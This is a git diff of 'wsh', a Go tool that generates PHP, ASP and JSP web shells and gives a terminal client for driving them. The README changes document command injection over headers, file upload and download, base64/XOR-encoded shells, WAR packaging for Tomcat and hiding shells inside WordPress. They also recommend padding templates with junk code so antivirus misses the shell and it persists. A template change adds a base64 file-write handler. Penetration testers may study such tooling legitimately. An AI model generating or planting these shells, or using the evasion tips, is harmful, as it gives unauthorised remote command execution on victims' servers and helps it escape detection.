diff --git a/README.md b/README.md index d0697c6..a7e2a9b 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ wsh (pronounced woosh) is a web shell generator and command line interface. This started off as just an http client since interacting with webshells is a pain. There's a form, to send a command you have to type in an input box and press a button. I wanted something that fits into my workflow better and ran in the terminal. Thus wsh was born. -The client features command history, logging, and can be configured to interact with a previously deployed webshell with a form/button. The generator creates webshells in php, asp, and jsp. They are generated with random variables, so each will have a unique hash. They can be configured with a whitelist, passwords, and allow commands to be sent over custom headers and parameters. The generator and client can be configured through command line flags or configuration files to allow for saving a setup that works for you without doing what I call the "--help" dance. Once configured, the client and generator use the same config file. +The client features command history, logging, and can be configured to interact with a previously deployed standard webshell with a form/button. The generator creates webshells in php, asp, and jsp. They are generated with random variables, so each will have a unique hash. They can be configured with a whitelist, passwords, and allow commands to be sent over custom headers and parameters. The generator and client can be configured through command line flags or configuration files to allow for saving a setup that works for you without doing what I call the "--help" dance. Once configured, the client and generator use the same config file. ## Features @@ -12,17 +12,16 @@ The client features command history, logging, and can be configured to interact - IP whitelisting - Password protection - Send commands over custom headers/parameters - - File download - - File upload (Work in progress) + - File upload / download - Base64 encoded shells for asp and php - XOR encrypted shells for asp and php ## Usage -### Connect functionality +### Connect ``` -wsh [flags] +wsh [flags] -X, --method string HTTP method: GET, POST, PUT, PATCH, DELETE (default "GET") --param string Parameter for sending command @@ -39,10 +38,11 @@ wsh [flags] -h, --help help for wsh ``` -### Generate webshell +### Generate ``` wsh generate [flags] +wsh g [flags] -X, --method string HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET") -p, --param string Parameter for sending command @@ -62,7 +62,20 @@ wsh generate [flags] -h, --help help for generate ``` -## Examples +### Client usage / File IO + +I wanted the client to be language agnostic, so all webshells needed to implement the same upload/download logic. Unfortunately it is a pain to do multipart form uploads natively in jsp and classic asp, so files are uploaded as base64 in a parameter. This is not ideal as the max file upload size is limited to the maximum parameter size. In the future I may try and implement multipart form uploads, or do multiple requests to transfer larger files. + +``` +$ wsh 127.0.0.1:8080/test.php --param cmd +127.0.0.1> help +get [local filepath] Download file +put [remote filepath] Upload file +clear Clear screen +exit Exits shell +``` + +## Generator Examples ### Simple Shells @@ -84,7 +97,7 @@ $ wsh 127.0.0.1:8080/shell.php --param cmd ?> ``` -Commands can also be passed over http headers +Commands can also be sent over http headers ``` $ wsh generate php --no-file --header user-agent -o shell.php @@ -96,7 +109,7 @@ $ wsh 127.0.0.1:8080/shell.php --header user-agent ### Whitelisting ``` -$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 192.4.22.3 -o shell.php +$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php ``` ### Password Protection @@ -111,6 +124,116 @@ $ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header $ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t ``` -### Compile jsp to war +### Base64 / XOR encryption + +This functionality is interesting, but may require some modification of the templates to be made useful. In the case of asp and jsp, the libraries that facilitate decoding base64 are known IOCs and will get flagged. If you are interested in using these functionalities I'd recommend modifying the template and obfuscating. + +Same as password protection, the xor key can be sent over a parameter or a header. + +``` +$ wsh g php --param cmd --no-file --base64 + + +$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key + +``` + +### Tomcat Shells + +To generate a webshell which can be deployed to tomcat, create a jsp shell named index.jsp and run the command below to zip it into a war file. + +Occasionally, the tomcat environment does not have the libraries required for file upload/download and the shell will error when a request is made. To remediate this, use the `--no-file` flag. + +``` +$ wsh g jsp --param cmd --no-file -o index.jsp +$ jar -cvf shell.war index.jsp +``` -jar -cvf filename.war index.jsp +## Templates + +Using the go template library adds alot of flexibility to the generator. Occasionally a webshell will get caught by AV however, I have found that adding in a bunch of random code in the template file will often make the shell look benign enough to allow it to persist on the disk. I have included an example in the templates/covert-php.tml file. + +Additionally, you can modify these templates to include your name/contact information for attribution in the use case of a penetration test. + +## Client Functionality + +### Prefix + +A prefix can be specified to prepend a string to each command sent to the shell. This can be used to turn a normal cmd shell into a powershell shell. + +``` +$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe +10.0.0.27> ls +Directory: C:\windows\system32\inetsrv + + +Mode LastWriteTime Length Name +---- ------------- ------ ---- +d----- 5/27/2020 11:49 PM config +d----- 5/27/2020 11:49 PM en +d----- 5/28/2020 12:25 AM en-US +-a---- 5/27/2020 11:49 PM 119808 appcmd.exe +``` + +### Logging + +Logs are timestamped and include the host being interacted with. Log files are appended, so feel free to use the same log file for multiple sessions/hosts. + +``` +127.0.0.1:8080/shell.php --param cmd --log localhost.log +Logging to: localhost.log +127.0.0.1> ls +README.md +cmd +example-configs +... + +[04/20/2020 12:02:17] 127.0.0.1> ls +README.md +cmd +example-configs +``` + +### Trim prefix/suffix + +The client can be configured to trim extraneous html content from a request, this is useful when interacting with standard html interface webshells, or maybe if a generated shell is sneakily embedded in a wordpress installation. + +``` +$ wsh 127.0.0.1:8080/index.php -X POST --param cmd +127.0.0.1> ls +. . . +
+

Output

+
+
+README.md
+cmd
+example-configs
+index.php
+main.go
+templates
+        
+ +. . . + +$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '
' --trim-suffix '
' +127.0.0.1> ls +README.md +cmd +example-configs +index.php +main.go +templates +``` diff --git a/cmd/generate-templates.go b/cmd/generate-templates.go index 717b080..33acb07 100644 --- a/cmd/generate-templates.go +++ b/cmd/generate-templates.go @@ -65,7 +65,7 @@ var phpTemplate = ` echo {{ index .V "destPath" }}.' already exists'; die; } - file_put_contents({{ index .V "destPath" }}, file_get_contents('php://input')); + file_put_contents({{ index .V "destPath" }}, base64_decode($_REQUEST['f'])); echo 'Uploaded '.{{ index .V "filePath" }}.' to '.{{ index .V "destPath" }}; die; } diff --git a/cmd/generate.go b/cmd/generate.go index 32faa4d..81a366c 100644 --- a/cmd/generate.go +++ b/cmd/generate.go @@ -121,6 +121,11 @@ func init() { func generate(cmd *cobra.Command, args []string) { lang = args[0] + if cmdParam == "" && cmdHeader == "" { + fmt.Println("--param or --header required.") + os.Exit(1) + } + vNameMin := 3 vNameMax := 7 vNames := map[string]string{ diff --git a/cmd/root.go b/cmd/root.go index 4872a4a..67990e1 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -304,7 +304,7 @@ func interact(cmd *cobra.Command, args []string) { func printHelp() { fmt.Println("get [local filepath] Download file") fmt.Println("put [remote filepath] Upload file") - fmt.Println("clear Clear shell screen") + fmt.Println("clear Clear screen") fmt.Println("exit Exits shell") }